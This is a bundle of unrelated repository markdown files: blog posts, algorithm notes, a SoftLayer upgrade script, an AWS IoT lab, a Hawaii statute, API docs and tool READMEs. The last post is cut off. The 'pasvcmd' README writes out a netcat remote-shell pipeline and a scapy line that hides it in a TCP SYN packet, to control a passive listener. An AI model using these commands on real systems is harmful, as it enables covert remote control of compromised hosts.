text:
---
title: GitHub Challenge
layout: post
summary: Introduction to the GitHub Challenge - 30 days of Git commits.
tags: Learning, Coding, Git
---

### GitHub Challenge
Building new skills is important, as is maintaining or refining existing ones.  It's something that I've been doing for quite a while now.  It's challenging, though, for all sorts of reasons.  Deciding what to learn can be difficult.  Finding the time to learn can be difficult.  Staying motivated can be difficult.  I run into all these issues at various times which is why for the next thirty days, I'm joined a group that is committed to learning something every day for the next month.  Not only that, we'll be coding and committing that work to GitHub every day.  Hopefully.  That's the plan anyway.

I've decided to spend the next month working with JavaScript and a bit of HTML and CSS.  I feel like reviewing some of is considered the basics of web development will be a good place to start.  I plan to review the two [Shay Howe books](http://learn.shayhowe.com/html-css) as well as [Eloquent JavaScript](http://eloquentjavascript.net) by Marijn Haverbeke.  I'll likely branch out into other things, too, but that's where I want to start.

We'll see how it goes.


text:
# [Inching Towards Insertion Sort](https://medium.com/basecs/inching-towards-insertion-sort-9799274430da)

* Insertion sort algorithm maintains a sublist of the initial collection that is the "sorted sublist"
* Iterates through collection and for each element, inserts the element into the correct spot in the sorted sublist
  * As we iterate, if the last sorted element is larger, shift last sorted element to next index location in array
  * If the element to sort is larger, insert element into index space vacated by previous shift

## Example

```text
// Initial array
[4, -31, 0, 99, 83, 1]

// Start with 4
[4 | -31, 0, 99, 83, 1]

// Compare -31 against 4, and move as appropriate
[-31, 4 | 0, 99, 83, 1]

// Compare 0 against 4, and then against -31 and move to appropriate spot
[-31, 0, 4 | 99, 83, 1]

// etc, etc
[-31, 0, 4, 99 | 83, 1]
```

* Worst case is `O(n^2)`
  * Have to do "full" inner loop comparison each iteration i.e. have to iterate through full sorted array until end in order to find correct insertion point
* Best case is `O(n)` for a nearly-sorted list when the number of comparisons is far fewer for inner loop
* Insertion sort is also `in-place`, `stable`, `non-recursive`, and `internal` (since it maintains all of its data in main memory)

license: MIT

repository: jaebradley/notes

path: /Software Engineering/Data Structures and Algorithms/sorting/inching-towards-insertion-sort.md

branch_name: refs/heads/main

extension: md

gha_license_id: MIT

license_type: permissive

repo_name: jaebradley/notes


text:
---
title: "modify_device_configuration.py"
description: "modify_device_configuration.py"
date: "2017-11-23"
classes:
    - "SoftLayer_Container_Product_Order_Hardware_Server_Upgrade"
    - "SoftLayer_Product_Item_Price"
    - "SoftLayer_Container_Product_Order_Property"
    - "SoftLayer_Hardware_Server"
    - "SoftLayer_Product_Order"
tags:
    - "baremetalservers"
---

```
"""
Upgrades a server.

Important manual pages
http://sldn.softlayer.com/reference/services/SoftLayer_Hardware_Server/findByIpAddress
http://sldn.softlayer.com/reference/services/SoftLayer_Hardware_Server/getUpgradeItemPrices
http://sldn.softlayer.com/reference/services/SoftLayer_Product_Order
http://sldn.softlayer.com/reference/services/SoftLayer_Product_Order/verifyOrder
http://sldn.softlayer.com/reference/services/SoftLayer_Product_Order/placeOrder
http://sldn.softlayer.com/reference/datatypes/SoftLayer_Product_Item_Price
http://sldn.softlayer.com/reference/datatypes/SoftLayer_Container_Product_Order_Property
http://sldn.softlayer.com/reference/datatypes/SoftLayer_Container_Product_Order_Hardware_Server_Upgrade

License: http://sldn.softlayer.com/article/License
Author: SoftLayer Technologies, Inc<EMAIL_ADDRESS>"""

import SoftLayer.API
import json

def getServer(serverIp, hardwareService):
    """Get the server.
         :param string serverIp: The Ip address of the server.
         :param SoftLayer_Hardware_Server hardwareService: the SoftLayer_Hardware_Server service.
         :returns: A SoftLayer_Hardware_Server object.
    """
    try:
        objectMask = "mask[id]"
        server = hardwareService.findByIpAddress(serverIp, mask=objectMask)
        if not server:
            print("There is no a server with the IP address: " + serverIp)
            exit(1)
    except SoftLayer.SoftLayerAPIError as e:
        print("Unable to retrieve the server:" % (e.faultCode, e.faultString))
        exit(1)
    return server

def getUpgradeItems(server, hardwareService):
    """Get the prices of the items to upgrade in a server.
         :param SoftLayer_Hardware_Server server: The server to get the upgrade item prices.
         :param SoftLayer_Hardware_Server hardwareService: the SoftLayer_Hardware_Server service.
         :returns: A array of SoftLayer_Product_Item_Price object.
    """
    try:
        upgradeItems = hardwareService.getUpgradeItemPrices(id=server['id'])
    except SoftLayer.SoftLayerAPIError as e:
        print("Unable to retrieve the upgrade items:" % (e.faultCode, e.faultString))
        exit(1)
    return upgradeItems

# Your SoftLayer API username and key.
API_USERNAME = 'set-me'

# Generate one at https://control.softlayer.com/account/users
API_KEY = 'set-me'

serverIp = "<IP_ADDRESS>"

# Specify the items to upgrade and the values.
# It uses the same names and values as the displayed
# in Softlayer's Portal.
modify = {
    "FIRST HARD DRIVE": "2.00 TB SATA",
    "SECOND HARD DRIVE": "500 GB SATA"
}

# The date for the upgrade of the server.
dateForUpgrade = "INMEDIATELY"

client = SoftLayer.create_client_from_env(username=API_USERNAME, api_key=API_KEY)
hardwareService = client['SoftLayer_Hardware_Server']
productOrderService = client['SoftLayer_Product_Order']

server = getServer(serverIp, hardwareService)
pricesUpgrade = getUpgradeItems(server, hardwareService)

# Getting the item prices for the upgrade.
prices = []
for item in modify.keys():
    for price in pricesUpgrade:
        added = False
        for category in price['categories']:
            if category['name'].strip().upper() == item.strip().upper() and \
               price['item']['description'].strip().upper() == modify[item].strip().upper():
                prices.append(price)
                added = True
                break
        if added:
            break
    if not added:
        print("There is no price for the item: " + item + "- " + modify[item])

# Build a skeleton SoftLayer_Container_Product_Order_Property objects
properties = [
    {
        'name': 'MAINTENANCE_WINDOW',
        'value': dateForUpgrade
    },
    {
        'name': 'MAINTENANCE_WINDOW_ID',
        'value': 483
    }
]

# Build a skeleton SoftLayer_Container_Product_Order_Hardware_Server_Upgrade object
# containing the upgrade you wish to place
upgradeData = {
    'hardware': [server],
    'prices': prices,
    'properties': properties,
    'complexType': 'SoftLayer_Container_Product_Order_Hardware_Server_Upgrade'
}

try:
    # When you are ready to upgrade the server
    # change veryOrder() method by placeOrder method.
    result = productOrderService.verifyOrder(upgradeData)
    print(json.dumps(result, sort_keys=True, indent=2, separators=(',', ': ')))
except SoftLayer.SoftLayerAPIError as e:
    print("Unable to upgrade bare metal server: \nfaultCode= %s, \nfaultString= %s" % (e.faultCode, e.faultString))

```

branch_name: refs/heads/master

gha_language: HTML

gha_license_id: NOASSERTION


text:
### Model description

### Basic algorithm
GBDT(package sklearn in python)

RGF(Regularization Greedy forest, http://stat.rutgers.edu/home/tzhang/software/rgf/)

### Features
1) count paper published by the author in this paper journal

2) count paper published by the author in this paper conference

3) count paper published by the author

4) count author of this paper

5) count papers with coauthor

6) 5)/4)

7) count times <authorid, paperid> appear in PaperAuthor.csv

8) count paper published by the author in this paper year

9) count paper published in journal by the author

10) count paper published in conference by the author

11) 1)/9)

12) 2)/10)

13) count paper appeared in the predict paperlist of the author

14) the year of paper, if year>2013, value=-1, if year < 1600, value = 0

15) The affication of PaperAuthor.csv == the affication of the author in Author.csv

16) count of coauthor whose affication is the same with the author

17) the conferenceid of the paper

18) the journalid of the paper

19) count of the different affication in this paper

20) The name of PaperAuthor.csv == the name of the author in Author.csv

21) count of coauthor whose  affication is the same with author (affication in the PaperAuthor.csv)

22) The affication of PaperAuthor.csv == the affication of the author in Author.csv

23) 3)/(count of different affication of paper)

24) whether the coauthor have the same name with author

25) count of the coauthor which does not appear in the author.csv

26) count of the same keyword between paper and author

27) count of paper keywords

28) 26)/27)

29) for the (authorid, paperid), we find the (other_authorid, paperid) which appear in PaperAuthor.csv twice, find the all paper published by the author, we say te set in S1. And then we find all paper published by the other_authorid, we say the set S2. the feature value is the count of common id between S1 and S2.

30) whether there is one coauthor whose name is the same with the author

31) whether there is one coauthor whose last name is same with the author, but the first name is not.

32-35) the mean, max, min, stdev of name similarity between coauthor and the author

35-39) the mean, max, min, stdev of other name similarity between coauthor and the author


text:
pasvcmd
=======
PasvCmd sends commands to [PasvMon](../pasvmon).

It can either send commands via TCP or UDP.  If sending via TCP, a full
handshake is made, either before sending the first command, or before sending
every command.

Example
-------
```
# ./pasvcmd -p udp
2016/02/27 21:04:27 "Connected" <IP_ADDRESS>:80 -> <IP_ADDRESS>:80
2016/02/27 21:04:27 Ready.
nc <IP_ADDRESS> 4444 | sh | nc <IP_ADDRESS> 5555
2016/02/27 21:05:27 Sent 64 bytes
```
Note that the number of bytes sent includes the magic flag.

Usage
-----
```
Usage: pasvcmd [options]

Reads commands from the standard input, one per line, and sends them to the
target, prefixed with the magic flag.  If TCP is used, a 3-way handshake will
be made, then the command will be sent.  If UDP is used, a single packet with
the magic flag and command will be sent.  If it is necessary to send the
command in a TCP SYN packet, a scapy line similar to the following may be used:

send(IP(dst="<IP_ADDRESS>")/TCP(
	sport=80,dport=80,flags='S')/
	'COMMANDCOMMANDnc <IP_ADDRESS> 4444 | sh | nc <IP_ADDRESS> 5555')

Options:
  -k	Keep connection alive when using tcp
  -l address
    	Local address (default ":80")
  -m flag
    	Magic flag to send (default "COMMANDCOMMAND")
  -p protocol
    	IP protocol, "tcp" or "udp" (default "tcp")
  -r address
    	Remote address (default "<IP_ADDRESS>:80")
```

license: Zlib


text:
# Step 3 - AWS Infrastructure

> Approximate time: 25-30 minutes

Time to setup all the AWS resources. In this lab, we'll setup the Lambda Functions, API Gateway and DynamoDB instances. We are going bottom up on this, from DB to API Gateway.

If you are familiar with the AWS console, the lab is fairly quick to perform.

![Infrastructure](../assets/dive-into-iot.png)

> If this current documentation feels dated, please refer the official AWS documentation on each of the topics.

<!-- > If the lab is running late, I might ask you to run the CF script, which build the whole setup for you. -->

## IAM Role

Let's create a simple IAM role, which is a catch all role for this lab. It is not the recommended route, but in interest of time, we are going to follow this process. For a proper application you should follow the [**"Best Practices"**](https://docs.aws.amazon.com/IAM/latest/UserGuide/best-practices.html)

### Create a New Role

> Please delete this role later, we are giving very broadstroke permissions here, only for the purpose of this lab. This is not the recommended route, you should **ONLY** give the required permissions in real world scenarios.

 * Get to AWS [IAM Console](https://console.aws.amazon.com/iam/)
 * Select **Roles** from the menu on the left under **Access Management**
 * Click on **Create Role**
 * Under Type pick **AWS Service**
 * Under **Choose the service that will use this role**, select **Lambda**
 * Click on **Next: Permissions**
 * Under policy, **Attach** the following policies
   * `AmazonAPIGatewayInvokeFullAccess`
   * `AmazonDynamoDBFullAccess`
   * `AWSLambdaBasicExecutionRole`
   * `AWSIoTFullAccess`
   > This is **stricly** not recommended for production.
 * Hit **Save** and this is ready to use!

## DynamoDB

We need a simple DynamoDB table to capture the IoT data received from the sensor.

| Column | Type | Purpose |
| ----- |------| --------|
|Item   | String  | This is the partition key, and also the hardware component for which the data is being registered.  |
|State   | String   | What did the sensor read (dark/light), or current LED status |
|Level   | Number  | Amount of light detected by sensor  |
|Timestamp   | Datetime  | Time the event occurred  |
| ExpirationTime(TTL)  | TTL   | Time to live, after which the data will be deleted, so we can keep our tables clean |

## Lambda Function to turn on LED

A simple python lambda function to process API request and send it as an MQTT message to the pi.

### Steps to create one

 * Got to [Lambda Console](https://console.aws.amazon.com/lambda)
 * Click **Create function** to create a new function.
 * Select **Use a blueprint**
 * Under the **Blueprints** search, type "Hello"
 * Select `hello-world-python`
 * Click **Configure**
 * Give a useful **Function Name** e.g. `<YOUR_THING_NAME>-led-flasher`
 * **Use an existing role**, and pick the role you've created in the **IAM Role section** above.
 * Click **Create Function**  to actually create a function.

### The function

Once the function has been created, you can copy the code listed below to **Function Code**

```
import json
import boto3

print('Received message from API gateway')

def lambda_handler(event, context):

    print ('Lambda Invoked')
    client = boto3.client('iot-data', region_name='us-east-1')
    print(event)

    # Change topic, qos and payload as appropriate.
    response = client.publish(
        topic='$aws/things/FlyingZombieAttach_Pi/flasher',
        qos=1,
        payload=str(event['led'])
    )

    print('Response')
    print(response)

    return {
        'statusCode': 200,
        'headers': {
            "Access-Control-Allow-Origin": "*"
        }
    }
```

### Other Settings

 * Under **Tags**, add valid, useful tags, which will help you identify this lambda function, if using a shared account.
 * Change **Description** of lambda function under **"Basic Settings"**
 * Leave the rest of the settings as is for now.

## API Gateway

There are two ways to setup the API Gateway on the console, you can either continue setting it as an **Add Trigger** from the **Lambda Designer** section, or go to API Gateway and do it from there.

I prefer is from the API gateway section, the rest of the document follows the steps.

> Our API gateway is **Open**, which means anyone with the URL can access it, please delete it after the lab. Ideally you would front it using Cognito to prevent unauthorized access.

### Setup API gateway, fronting a Lambda Function

 * Go to AWS Console for [API Gateway](https://console.aws.amazon.com/apigateway/)
 * Click **Create API**
 * Select **REST API**, click on **Build**
   * (not the private one )
 * Leave the protocol as **REST**, **New API**
 * Give it a valid name e.g. `<YOUR_THING_NAME>-apig`
 * Click **Create**

Your API should now send you to a new screen

### Setup Resources

 * Click on the **Action** button on the top
 * Select **Create Resource**, a new screen to define a resource should pop up.
 * Give a **Resource Name** e.g. `flasher`, copy the same value to **Resource Path**
 * Check **Enable API Gateway CORS** (do we need this ? confirm config and update...)
 * With `flasher` highlighted, click on **Action -> Create Method**
 * Select `POST` from the dropdown, and hit the small checkbox
 * Choose **Integration Type** ~ `Lambda Function`
 * Check **Use Lambda Proxy integration**
 * Under the textbox for **Lambda Function**, type the name of your Lambda function defined above.
 * An alert will pop-up confirming permissions, hit **Ok** to confirm.

### Deploy API

 * Click on `flasher`, and highlight it again.
 * Click on **Actions -> Deploy API**
 * A pop-up asking for `stage` shows up, choose **[New Stage]**, under **Deployment Stage**
 * Give a **Stage Name** e.g. `lab`
 * A new screen with **Invoke URL** on a blue highlight should pop-up.
 * Copy this URL to a text editor. This is the URL, where the API is published.
   * `https://<YOUR_URL>.execute-api.us-east-1.amazonaws.com/lab/flasher`

## Lambda Function to Log LED status (this might not work)
> something is missing in config

Every time the LED glows or a garbage message is received, it gets logged to DynamoDB

### Steps to create one

 * Got to [Lambda Console](https://console.aws.amazon.com/lambda)
 * Click **Create function** to create a new function.
 * Select **Use a blueprint**
 * Under the **Blueprints** search, type "Hello"
 * Select `hello-world-python`
 * Click **Configure**
 * Give a useful **Function Name** e.g. `<YOUR_THING_NAME>-logger`
 * **Use an existing role**, and pick the role you've created in the **IAM Role section** above.
 * Click **Create Function**  to actually create a function.

### The function

```
import boto3
from datetime import datetime

'''
Will be called by the Pi to update the Last Known Good State in Dynamo
'''

def lambda_handler(event, context):
    dynamo = boto3.client("dynamodb")
    now = datetime.now()

    item = {
        "received_timestamp": {
            "S": now.strftime("%m/%d/%Y, %H:%M:%S.%f")
        },
        "timestamp": {
          "S": event["timestamp"]
        },
        "status": {
            "S": event["state"]
        }
    }

    response = dynamo.put_item(TableName="<YOUR_THING_NAME>-EventLog", Item=item, ReturnConsumedCapacity='TOTAL')

    return {
        'statusCode': 200,
        'body': response
    }
```

## IoT Rule (the new way)
[**IoT Rules**](https://docs.aws.amazon.com/iot/latest/developerguide/iot-rules.html) are a new introduction to the IoT core. Instead of using Lambda functions to be triggered off an MQTT event and then handle the payload, there are now rules in place which allow you to directly channel/process data to different AWS services.

Refer the [official documentation](https://docs.aws.amazon.com/iot/latest/developerguide/iot-rules.html) for the list of possible options available.

> There is a way to directly write to DynamoDB without using the lambda function, but I've not explored this option, if you find it, please create a PR and I can update this documentation.

## Next --> [04 - Bringing it all together](../04-end-to-end)
This concludes our AWS infrastructure creation. Time to test the whole thing!

repository: varunmehta/dive-into-iot

gha_language: Python

repo_name: varunmehta/dive-into-iot


text:
# TestDome C# Sample Answers
Sample answers to public C# sample questions at:<p>
* https://www.testdome.com/d/c-sharp-interview-questions/18

## Comments
* performance of _Sorted Search_ algorithm could be improved by implementing a binary search
  but I felt there was not sufficient time to do this
* read requirements for _Decorator Stream_ question were a bit unclear
* _Two Sum_ answer fails the performance test.
  _FindTwoSum2_ is an [alternative implementation](https://stackoverflow.com/questions/36506164/find-two-sum-function-in-c-sharp) which does not.
* _Platformer_ answer fails the performance test for large platforms.  This probably due to removing items from a List`.
_Platformer2_ is another implementation which will probably pass the performance test.
* If you're doing the test for real, make sure you have a real IDE eg Visual Studio,
  to hand.  The web IDE is only really/barely suitable for the sample questions.
  It doesn't have a debugger, IntelliSense, refactoring or any other productivity features.


text:
# modal-mobile
A simple & lightweight & high performance method of displaying modal window for mobile only

# why modal-mobile
The modal-mobile doesn't rely on any javascirt library and takes advantages of the new featues of browser like 'queryseletor' and so on. So it's really light-weight with high performance. that's amazing! Because of its light it's also easy to be customized!

## Installation
```html
<link rel="stylesheet" type="text/css" href="/path/to/modal-mobile.css">
<script src="/path/to/modal-mobile.js"></script>
```
## Usage
add html with styles
```html
<!--dialog html-->
<div class="modal-dialog">
			<div class="modal-header">
				<h4>Modal title</h4>
			</div>
			<div class="modal-body">one fine body...</div>
			<div class="modal-footer">
				<a>Cancel</a>
				<a data-btn="ok">OK</a>
				<i></i>
			</div>
 </div>

 <!--loding tip html-->
<div class="modal-loading">loading...</div>
```
call functions
```javascript
//show dialog
modal.showDialog({
	cancelCb: function(){
	//do something after cancel clicked
	},
	okCb: function(){
	//do something after ok clicked
	}
});

//show loading
modal.showLoading();
```

## License
MIT

repository: zechau/modal-mobile

repo_name: zechau/modal-mobile


text:
---
layout: post
title: Source Code Commenting
date: '2004-02-16 04:38:20 -0700'
mt_id: 695
blog_id: 1
post_id: 695
basename: source-code-commenting
categories:
- programming
---

There's a fascinating look at the Win2k source code comments over at Kuro5hin today. I've written plenty of source code (only several thousand lines as opposed to tens of millions) but I've never commented my source code like they have. I guess I just operate in a very different corporate culture than Microsoft's.

My comments amount to explaining why I made choices I did, how a particular section works, and the purpose of different areas. They are at times humorous, mostly sterile, and never profane. I always assume that my co-workers are going to be reading them and that my boss might see it someday. I stay away from the redundant mode of commenting and try always to craft self-documenting code.

extension: markdown


text:
Server Density Plugins
===

These plugins are made freely available for various applications.

Configuring the agent
---
The first time you install a plugin you need to set the agent up. After that, you can just drop a new plugin into the plugin directory, then restart the agent.

1. Create a directory where you want to store your plugins. The agent needs to have write access to this directory so we recommend the same location the agent is installed, usually `/usr/bin/sd-agent/plugins/`
2. Set the `plugin_directory` agent config value to the full path to this new directory e.g. `/usr/bin/sd-agent/plugins/`
3. Place any plugins into this new directory.
4. Restart the agent.

Troubleshooting plugins
---
[Place the agent into debug mode](https://support.serverdensity.com/hc/en-us/articles/200495543-Debug-mode-Linux-FreeBSD-Mac) and check [the logs](https://support.serverdensity.com/hc/en-us/articles/201244753-Agent-logs) to see what the plugin is doing.

You can see what is being sent back to us from the "Plugins" tab when viewing the device in the Server Density web UI.

If you have problems, <a<EMAIL_ADDRESS>us</a>.

repository: bencer/sd-agent-plugins

repo_name: bencer/sd-agent-plugins


text:
---
hrs_structure:
  division: '2'
  volume: '8'
  title: '22'
  chapter: '412'
  section: '412:2-105.2'
type: hrs_section
tags:
  - Business
menu:
  hrs:
    identifier: HRS_0412-0002-0105_0002
    parent: HRS0412
    name: '412:2-105.2 Hawaii financial institutions; assessments;'
weight: 23095
title: Hawaii financial institutions; assessments;
full_title: '412:2-105.2 Hawaii financial institutions; assessments;'
---
**§412:2-105.2 Hawaii financial institutions; assessments; fees; penalty.** (a) Beginning January 1, 2014, every Hawaii financial institution shall be assessed a yearly fee in accordance with the following:

(1) For financial institutions with total assets under $750,000, the assessment shall be the sum of $1,000 plus the product of 0.00029111 times total assets;

(2) For financial institutions with total assets of at least $750,000 but under $7,500,000, the assessment shall be the sum of $2,000 plus the product of 0.00029111 times total assets;

(3) For financial institutions with total assets of at least $7,500,000 but under $20,000,000, the assessment shall be the sum of $4,800 plus the product of 0.00029111 times total assets;

(4) For financial institutions with total assets of at least $20,000,000 but under $75,000,000, the assessment shall be the sum of $9,900 plus the product of 0.000064 times total assets;

(5) For financial institutions with total assets of at least $75,000,000 but under $200,000,000, the assessment shall be the sum of $15,000 plus the product of 0.00005333 times total assets;

(6) For financial institutions with total assets of at least $200,000,000 but under $1,000,000,000, the assessment shall be the sum of $21,100 plus the product of 0.00004750 times total assets;

(7) For financial institutions with total assets of at least $1,000,000,000 but under $20,000,000,000, the assessment shall be the sum of $29,000 plus the product of 0.00004 times total assets;

provided that the yearly fee assessed for financial institutions with total assets of at least $2,000,000,000 but less than $10,000,000,000 shall be no more than $100,000, and the yearly fee assessed for financial institutions with total assets of at least $10,000,000,000 shall be no more than $150,000.

(b) The assessments shall be paid semiannually on March 1 and September 1 of each year based on the institution's total assets reported as of the previous December 31 and June 30, respectively.

(c) In addition to the assessments established in subsection (a), a financial institution or financial institution applicant shall pay fees as follows:

(1) A nonrefundable fee of $10,000 for an application for preliminary approval by the commissioner for the organization of a Hawaii financial institution pursuant to section 412:3-201, 412:3-202, 412:3-206, or 412:3-301;

(2) A nonrefundable fee of $9,000 for an application for preliminary approval by the commissioner for the organization of a Hawaii financial institution pursuant to section 412:5-402;

(3) A nonrefundable fee of $2,500 for a final application for a charter or license to engage in the business of a Hawaii financial institution pursuant to section 412:3-212;

(4) A nonrefundable fee of $10,000 for an application for a merger or consolidation or acquisition of control involving a Hawaii financial institution;

(5) A nonrefundable fee of $2,500 for an application for the conversion of a federal financial institution to a Hawaii financial institution or the conversion of a Hawaii financial institution to another Hawaii financial institution charter;

(6) A nonrefundable fee of $5,000 for an application of a bank to conduct a trust business through a subsidiary, division, or department of the bank pursuant to section 412:5-205;

(7) A nonrefundable fee of $5,000 for an application of a bank to conduct insurance activities pursuant to section 412:5-205.5;

(8) A nonrefundable fee of $5,000 for an application of a bank to engage in securities activities pursuant to section 412:5-205.7;

(9) A nonrefundable fee of $2,000 for an application for a bank, savings bank, or depository financial services loan company to comply with lending limits applicable to federal financial institutions pursuant to section 412:5-302, 412:6-303, or 412:9-404;

(10) A nonrefundable fee of $2,000 for an application to exceed certain permitted investment limits pursuant to sections 412:5-305(f) and (h), 412:6-306(f) and (h), 412:7-306(f) and (h), 412:8-301(f), 412:9-409(f) and (i), and 412:10-502(g); and

(11) A nonrefundable fee of $2,500 for an application to engage in the business of a credit union.

(d) The annual fee for each intra-Pacific financial institution and interstate branch of out-of-state banks is the sum of $1,000 for each office, agency, and branch office maintained by the financial institution, payment of which shall be made before December 31 of each year. The commissioner may establish, increase, decrease, or repeal this fee pursuant to rules adopted in accordance with chapter 91.

(e) Intra-Pacific bank fees shall be as follows:

(1) A nonrefundable fee of $9,000 to establish an initial branch pursuant to section 412:5-401;

(2) A nonrefundable fee of $750 to establish an additional branch or agency of an intra-Pacific bank; and

(3) A nonrefundable fee of $500 for an application to relocate a branch or agency of an intra-Pacific bank established or acquired pursuant to section 412:5-401.

(f) A nonrefundable fee of $500 shall be assessed for an application to relocate a branch or office established pursuant to section 412:12-107.

(g) A nonrefundable fee of $100 shall be assessed for each certificate of good standing for any Hawaii financial institution; provided that an additional fee of $100 shall be assessed for each certificate of good standing that is requested to be provided in two business days from receipt of request.

(h) All assessments and fees shall be deposited into the compliance resolution fund established pursuant to section 26-9(o).

(i) For purposes of this section, "total assets" means for an insured depository institution the total assets reported in the financial institution's quarterly reports of condition, or call reports, which are required to be filed pursuant to section 7(a)(3) of the Federal Deposit Insurance Act or in the unaudited financial statements filed pursuant to section 412:3-112.

(j) A Hawaii financial institution that fails to make a payment required by this section shall be subject to an administrative fine of not more than $250 per day for each day it is in violation of this section, which fine, together with the amount due under this section, may be recovered pursuant to section 412:2-611 and shall be deposited into the compliance resolution fund established pursuant to section 26-9(o). [L 2013, c 172, §10; am L 2016, c 149, §2]

repository: SamMade/BlueAndKrabby

repo_name: SamMade/BlueAndKrabby


text:
---
title: Axioms of building a “boring” system
date: 2009-08-11 09:41:24 -04:00
permalink: "/2009-08-11/axioms-of-building-a-boring-system/"
categories:
- Notebook
tags:
- Architecture
- Engineering
- Percona
- Stability
id: 179
author: Jonathon
layout: post
guid: http://jonathonhill.net/?p=179
---

From a [presentation from Percona](http://www.percona.com/ppc2009/PPC2009_Boring_MySQL.pdf). This should be on every developer’s wall:

  1. If it worked 10, 20, 30 years ago, it is worth considering.
  2. If a crisis makes you come alive, you have your priorities wrong.
  3. If you are working on urgent system problems, it’s not a boring architecture.
  4. You should be working on exciting new things that serve your customers and are otherwise unimportant.


text:
---
seo:
  title: Event Sink
  description: Event Sinks read events from an event streaming platform and are conceptually opposite of an event source
---

# Event Sink
Various components in an [Event Streaming Platform](../event-stream/event-streaming-platform.md) will read or receive [Events](../event/event.md). An Event Sink is the generalization of these components, which can include [Event Processing Applications](../event-processing/event-processing-application.md), cloud services, databases, IoT sensors, mainframes, and more.

Conceptually, an Event Sink is the opposite of an [Event Source](../event-source/event-source.md). In practice, however, components such as an [Event Processing Application](../event-processing/event-processing-application.md) can act as both an [Event Source](../event-source/event-source.md) and an Event Sink.

## Problem
How can we read (or consume / subscribe to) [Events](../event/event.md) in an [Event Streaming Platform](../event-stream/event-streaming-platform.md)?

## Solution

![event-sink](../img/event-sink.svg)

Use an Event Sink, which typically acts as a client in an [Event Streaming Platform](../event-stream/event-streaming-platform.md). Examples are an [Event Sink Connector](event-sink-connector.md) (which continuously exports [Event Streams](../event-stream/event-stream.md) from the [Event Streaming Platform](../event-stream/event-streaming-platform.md) into an external system such as a cloud service or a relational database) or an [Event Processing Application](../event-processing/event-processing-application.md) such as a [Kafka Streams](https://docs.confluent.io/platform/current/streams/index.html) application and the streaming database [ksqlDB](https://ksqldb.io/).

## Implementation

ksqlDB example: Reading events from an existing Apache Kafka® topic into a ksqlDB event stream for further processing.
```
CREATE STREAM clicks (ip_address VARCHAR, url VARCHAR, timestamp VARCHAR)
    WITH (KAFKA_TOPIC = 'clicks-topic',
          VALUE_FORMAT = 'json',
          TIMESTAMP = 'timestamp',
          TIMESTAMP_FORMAT = 'yyyy-MM-dd''T''HH:mm:ssXXX');
```

Generic Kafka Consumer application: See [Getting Started with Apache Kafka and Java](/get-started/java) for a full example:

```
consumer.subscribe(Collections.singletonList("stream"));
      while (keepConsuming) {
        final ConsumerRecords<String, EventRecord> consumerRecords = consumer.poll(Duration.ofSeconds(1));
        recordsHandler.process(consumerRecords);
      }
```

## References
* The Kafka Streams library of Apache Kafka is another popular choice of developers to implement elastic applications and microservices that read, process, and write events. See [Filter a stream of events](https://kafka-tutorials.confluent.io/filter-a-stream-of-events/confluent.html) for a first example.

repository: psawmora/event-streaming-patterns

repo_name: psawmora/event-streaming-patterns


text:
# Terminus\Models\Workflow

### __construct
##### Description:
    Object constructor

##### Parameters:
    [object] $attributes Attributes of this model
    [array]  $options    Options with which to configure this model

##### Return:
    [Workflow]

---

### fetchWithLogs
##### Description:
    Re-fetches workflow data hydrated with logs

##### Return:
    [Workflow]

---

### getStatus
##### Description:
    Returns the status of this workflow

##### Return:
    [string]

---

### isFinished
##### Description:
    Detects if the workflow has finished

##### Return:
    [bool] True if workflow has finished

---

### isSuccessful
##### Description:
    Detects if the workflow was successful

##### Return:
    [bool] True if workflow succeeded

---

### operations
##### Description:
    Returns a list of WorkflowOperations for this workflow

##### Return:
    [WorkflowOperation[]]

---

### serialize
##### Description:
    Formats workflow object into an associative array for output

##### Return:
    [array] Associative array of data for output

---

### wait
##### Description:
    Waits on this workflow to finish

##### Return:
    [Workflow|void]

##### Throws:
    TerminusException

---


text:
# Migration:  Aqueduct to Conduit

## Migrating from Aqueduct to Conduit

Aqueduct is the predessor to Conduit and was developed by stablekernel who no longer support Aqueduct.

Conduit is the community driven fork of Aqueduct.

This guide is intended to help users of Aqueduct migrate to Conduit.

## Significant changes

### Cli tooling

The most obvious change is the name and this is reflected in the cli tooling.

The aqueduect cli command is now called conduit.

To install conduit you run

```bash
dart pub global activate conduit
```

### Test database

In conduit the test database used for unit testing and the test harness had the following attributes:

user: dart password: dart db name: dart\_test

In conduit these have been changed to:

user: conduit\_test\_user password: conduit! db name: conduit\_test\_db

repository: aadarshadhakalg/conduit

repo_name: aadarshadhakalg/conduit


text:
# ANSIBLE101

configure ansible.cfg file

[defaults]
inventory = ./hosts
# Use local hosts file in folder
forks = 3
# limit Ansible to connect to 1 device at a time for pretty output
timeout = 20
# increase SSH timeout to 20 seconds for remote connections
host_key_checking = False
# Don't worry about RSA Fingerprints
retry_files_enabled = False
# Do not create .retry files on job failure

---
# Playbook to Backup Cisco Config

- hosts: CSR-Routers
  connection: network_cli
  gather_facts: false

  tasks:
   - name: Show Run on Device
     ios_command:
       commands:
         - show run
     register: config

   - name: Save output to /backups
     copy:
       content: "{{config.stdout[0]}}"
       dest: "./backups/{{inventory_hostname}}-backup.txt"

       sudo rpm -Va
       sudo apt-get upgrade
       ansible version
       sudo yum install ansible -y
       sudo vi /etc/hostname

       ip addr

       ansible-playbook -i hosts main.yml --check

nnb


text:
# CB-Apps-Bots-Framework
The base framework for writing Apps and Bots on CB that I've developed writing apps and bots for various models

# CB Directory
This directory holds a TypeScript definition of the CB framework as best as I can implement given their poor documentation

# Common Directory
This directory holds the actual framework. See the README in that directory for more information

# Related Videos
[Cloning the CB Framework](https://www.youtube.com/watch?v=5QqRKm_umPA)

[Tooling for the CB Framework](https://www.youtube.com/watch?v=49QqqEvYMdQ)

repository: gitter-badger/CB-Apps-Bots-Framework

gha_language: TypeScript

repo_name: gitter-badger/CB-Apps-Bots-Framework


text:
---
title: Plopdown Firefox Alpha Released
created: 2020-05-22T12:01:37.136Z
slug: alpha-release
author: Spaceribs
tags:
  - Release
excerpt: |
  After quite a few months reading documentation, testing out the proof of concept,
  developing the extension and also creating the infrastructure to support it,
  I can finally say I've got something functional and accessible to share
---

After quite a few months reading documentation, testing out the proof of concept,
developing the extension and also creating the infrastructure to support it,
I can finally say I've got something functional and accessible to share.

[You can install it for Firefox on the homepage](/)

## What is Plopdown

In the last ~10 years, I've witnessed a shift back towards traditional mass
media. It's been a subtle shift, but with services like Netflix, Hulu and
especially YouTube, there are now many tools that take away the one superpower
that allowed the web to flourish, bi-directional interaction rather than
one-directional consumption. Here are a few examples:

1. YouTube and YouTube content creators can shut down discussion in the comments section at any
   moment, and even fair use critique of another video will likely gain
